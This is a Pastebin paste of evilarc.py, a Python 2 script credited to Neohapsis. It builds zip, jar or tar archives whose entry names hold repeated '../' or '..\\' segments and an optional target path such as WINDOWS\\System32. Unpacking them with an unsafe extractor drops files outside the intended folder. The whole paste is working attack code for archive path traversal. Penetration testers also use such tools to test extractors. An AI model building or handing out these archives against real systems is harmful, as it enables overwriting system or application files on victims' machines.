Advertisement
opexxx

evilarc.py

Jun 5th, 2014
351
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.65 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. # Copyright (c) 2009, Neohapsis, Inc.
  4. # All rights reserved.
  5. #
  6. # Implementation by Greg Ose and Patrick Toomey
  7. #
  8. # Redistribution and use in source and binary forms, with or without modification,
  9. # are permitted provided that the following conditions are met:
  10. #
  11. #  - Redistributions of source code must retain the above copyright notice, this list
  12. #    of conditions and the following disclaimer.
  13. #  - Redistributions in binary form must reproduce the above copyright notice, this
  14. #    list of conditions and the following disclaimer in the documentation and/or
  15. #    other materials provided with the distribution.
  16. #  - Neither the name of Neohapsis nor the names of its contributors may be used to
  17. #    endorse or promote products derived from this software without specific prior
  18. #    written permission.
  19. #
  20. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  21. # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  22. # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  23. # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
  24. # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
  25. # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
  26. # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
  27. # ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  28. # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
  29. # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  30.  
  31. import sys, zipfile, tarfile, os, optparse
  32.  
  33. def main(argv=sys.argv):
  34.     p = optparse.OptionParser(description = 'Create archive containing a file with directory traversal',
  35.                                 prog = 'evilarc',
  36.                                 version = '0.1',
  37.                                 usage = '%prog <input file>')
  38.     p.add_option('--output-file', '-f', dest="out", help="File to output archive to.  Archive type is based off of file extension.  Supported extensions are zip, jar, tar, tar.bz2, tar.gz, and tgz.  Defaults to evil.zip.")
  39.     p.set_default("out", "evil.zip")
  40.     p.add_option('--depth', '-d', type="int", dest="depth", help="Number directories to traverse. Defaults to 8.")
  41.     p.set_default("depth", 8)
  42.     p.add_option('--os', '-o', dest="platform", help="OS platform for archive (win|unix). Defaults to win.")
  43.     p.set_default("platform", "win")
  44.     p.add_option('--path', '-p', dest="path", help="Path to include in filename after traversal.  Ex: WINDOWS\\System32\\")
  45.     p.set_default("path", "")
  46.     options, arguments = p.parse_args()
  47.    
  48.     if len(arguments) != 1:
  49.         p.error("Incorrect arguments")
  50.        
  51.     fname = arguments[0]
  52.     if not os.path.exists(fname):
  53.         sys.exit("Invalid input file")
  54.        
  55.     if options.platform == "win":
  56.         dir = "..\\"
  57.         if options.path and options.path[-1] != '\\':
  58.             options.path += '\\'
  59.     else:
  60.         dir = "../"
  61.         if options.path and options.path[-1] != '/':
  62.             options.path += '/'
  63.  
  64.     zpath = dir*options.depth+options.path+os.path.basename(fname)
  65.     print "Creating " + options.out + " containing " + zpath;  
  66.     ext = os.path.splitext(options.out)[1]
  67.     if os.path.exists(options.out):
  68.         wmode = 'a'
  69.     else:
  70.         wmode = 'w'
  71.     if ext == ".zip" or ext == ".jar":
  72.         zf = zipfile.ZipFile(options.out, wmode)
  73.         zf.write(fname, zpath)
  74.         zf.close()
  75.         return
  76.     elif ext == ".tar":
  77.         mode = wmode
  78.     elif ext == ".gz" or ext == ".tgz":
  79.         mode = "w:gz"
  80.     elif ext == ".bz2":
  81.         mode = "w:bz2"
  82.     else:
  83.         sys.exit("Could not identify output archive format for " + ext)
  84.  
  85.     tf = tarfile.open(options.out, mode)
  86.     tf.add(fname, zpath)
  87.     tf.close()
  88.  
  89.  
  90.  
  91. if __name__ == '__main__':
  92.      main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement